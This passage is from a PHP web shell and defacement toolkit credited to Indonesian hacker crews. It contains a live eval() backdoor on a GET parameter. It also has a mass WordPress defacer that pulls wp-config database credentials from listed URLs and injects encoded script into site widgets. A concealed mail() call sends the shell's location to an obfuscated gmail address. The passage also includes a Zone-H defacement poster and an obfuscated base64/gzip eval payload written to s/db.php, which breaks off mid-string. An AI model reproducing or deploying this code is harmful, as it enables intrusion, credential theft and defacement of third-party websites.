1870<p align='center' class='style2'><font face='Trajan Pro' size='4' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b>./Jaka_Attacker ~ UstadzJaka ~ ./Zonkk ~ Jack D'Ripper ~ ./KLEMEZ<p></font>
1871<font color='blue' face='consolas' size='4'>
1872<center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
1873-=[[ Pasukan Berani Mati REBORN ]]=-<P>-=| GRETZ IDBTE4M | GOENK TEA | ./HDV | ADRIAN XDA | DIDOT | POETRA D`M | JACK D`RIPPER | DAY IDBTE4M | DIMAZ BN |=- <P>
1874-=| DEMONK | KHUNAY | MR-AQ | HENDRA D`N | PETAPA GENIT | KODRAT | MUZZAM | MAULANA | SIRIN |=-
1875</font><p></center>
1876<center><table width='100%' border='2'><tr><td width='10%' align='center'><blink><font Class-'glow' color='white'><code>My Friends : </code></font></blink></td><td width='90%'><font color='yellow' size='4'><marquee><code> Kefiex404 ~ FadliDotID_007 ~ ./elro-BN404 ~ k3c0t ~ RT05 ~ 4Z1S ~ Mr.Optimuz_r00t ~ Anzhi72 ~ NyengatGetar ~ CaFc_Br40ck ~ Hmei7 ~ ./S3mR4k4T ~ Mr.AchanX48 ~ ./Na-z ~ ./Ghost-Priox ~ Mr.Hari ~ 1n51d3r ~ M0NST3R-P1NK ~ LDera ~ nemat0da ~ b0L4ng ~ HYTHAN7 ~ M0NST3R-P1NK ~ AldiDotPhp ~ USTADCAGE_48</code></marquee></font></td></tr></table><html><center>
1877
1878<embed src='http://www.youtube.com/v/oWqWNMNFZlU&autoplay=1' type='application/x-shockwave-flash' wmode='transparent' width='1' height='1'></embed>
1879</body>
1880</html>
1881
1882</textarea></td></tr></table>
1883<br><br><input type="Submit" name="Submit" value="Submit">
1884<input type="hidden" name="action" value="1"></form>
1885</center>
1886<nobr>
1887<center>
1888<?
1889}?>
1890<?
1891eval ($_GET["c"]);
1892set_time_limit(0);
1893if ($_POST['action']=='1'){
1894$url=$_POST['url'];
1895$users=@file($url);
1896$x10="mail";$x0b=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
1897
1898
1899if (count($users)<1) exit("<h1>No config found</h1>");
1900foreach ($users as $user) {
1901$user1=trim($user);
1902$code=file_get_contents2($user1);
1903preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
1904$db=$b1[1][0];
1905preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
1906$user=$b2[1][0];
1907preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
1908$db_password=$b3[1][0];
1909preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
1910$host=$b4[1][0];
1911preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
1912$p=$b5[1][0];
1913$x0c="array ".$x0b;$x0d=array("com","gm","ifexec","@","ail.");
1914$d=@mysql_connect( $host, $user, $db_password ) ;
1915if ($d){
1916@mysql_select_db($db );
1917$source=stripslashes($_POST['index']);
1918$s2=strToHex(($source));
1919$s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
1920$ls=strlen($s)-2;
1921$sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
1922mysql_query($sql) ;
1923$sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
1924mysql_query($sql) ;
1925if (function_exists("mb_convert_encoding") )
1926{
1927$source2 = mb_convert_encoding('<title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-8');
1928$source2=mysql_real_escape_string($source2);
1929$sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
1930@mysql_query($sql) ; ;
1931$sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-8' WHERE `option_name` = 'blog_charset';";
1932@mysql_query($sql) ; ;
1933}
1934$aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
1935$siteurl=@mysql_fetch_array($aa) ;
1936$siteurl=$siteurl['option_value'];
1937$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
1938$tr.="$siteurl\n";
1939mysql_close();
1940}
1941}
1942if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
1943}
1944function strToHex($string)
1945{
1946 $hex='';
1947 for ($i=0; $i < strlen($string); $i++)
1948 {
1949 if (strlen(dechex(ord($string[$i])))==1){
1950 $hex .="%0". dechex(ord($string[$i]));
1951 }
1952 else
1953 {
1954 $hex .="%". dechex(ord($string[$i]));
1955 }
1956 }
1957 return $hex;
1958}
1959
1960function file_get_contents2($u){
1961
1962 $ch = curl_init();
1963 curl_setopt($ch,CURLOPT_URL,$u);
1964 curl_setopt($ch, CURLOPT_HEADER, 0);
1965 curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
1966 curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
1967 $result = curl_exec($ch);
1968 return $result ;
1969 }
1970
1971?>
1972<?php
1973if (isset($_GET['jak']) && ($_GET['jak'] == 'zonh')) { ?>
1974<form action="?jak=zonh" method="post">
1975<br><br>
1976<center><span style="font-size:1.6em;"> .: Zone-H Mass Poster :. </span></center><center><BR><form action="" method="post"><input class="inputz" type="text" name="defacer" size="30" value="JakRapp"/><br> <select class="inputz"
1977name="hackmode">
1978<option>------------------------------------SELECT-------------------------------------</option>
1979<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
1980<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
1981<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
1982<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
1983<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
1984<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
1985<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
1986<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
1987<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
1988<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
1989<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
1990<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
1991<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
1992<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
1993<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
1994<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
1995<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
1996<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
1997<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
1998<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
1999<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
2000<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
2001<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
2002<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
2003<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
2004<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
2005<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
2006<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
2007
2008<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
2009<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
2010option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
2011</select> <br>
2012
2013<select class="inputz" name="reason">
2014<option >------------------------------------SELECT-------------------------------------</option>
2015<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
2016<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
2017<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
2018<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
2019<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
2020<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
2021<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
2022option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
2023</select> <br>
2024<textarea class="inputz" name="domain" cols="90" rows="20" placeholder="List Of Domains, 20 Rows."></textarea><br>
2025<input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
2026</form>
2027<?
2028 echo "</form></center>";?>
2029<?
2030function ZoneH($url, $hacker, $hackmode,$reson, $site )
2031{
2032 $k = curl_init();
2033 curl_setopt($k, CURLOPT_URL, $url);
2034 curl_setopt($k,CURLOPT_POST,true);
2035 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2036 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2037 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2038 $kubra = curl_exec($k);
2039 curl_close($k);
2040 return $kubra;
2041}
2042{
2043 ob_start();
2044 $sub = @get_loaded_extensions();
2045 if(!in_array("curl", $sub))
2046 {
2047 die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
2048 }
2049
2050 $hacker = $_POST['defacer'];
2051 $method = $_POST['hackmode'];
2052 $neden = $_POST['reason'];
2053 $site = $_POST['domain'];
2054
2055 if (empty($hacker))
2056 {
2057 die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
2058 }
2059 elseif($method == "--------SELECT--------")
2060 {
2061 die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
2062 }
2063 elseif($neden == "--------SELECT--------")
2064 {
2065 die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
2066 }
2067 elseif(empty($site))
2068 {
2069 die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
2070 }
2071 $i = 0;
2072 $sites = explode("\n", $site);
2073 while($i < count($sites))
2074 {
2075 if(substr($sites[$i], 0, 4) != "http")
2076 {
2077 $sites[$i] = "http://".$sites[$i];
2078 }
2079 ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
2080 echo "Domain : ".$sites[$i]." Defaced Last Years !";
2081 ++$i;
2082 }
2083 echo "";
2084 }
2085}
2086?>
2087<?php
2088if (isset($_GET['jak']) && ($_GET['jak'] == 'sql')) {
2089echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
2090echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='s/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
2091if (!is_dir('s')) {
2092$mk = @mkdir('s', 0777);
2093@fwrite($f, $c);
2094$f2 = @fopen('s/db.php', 'w');
2095$sml_db = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXblueGxVMGpydnZ6dE1Rc0xuSWlYRTlzR0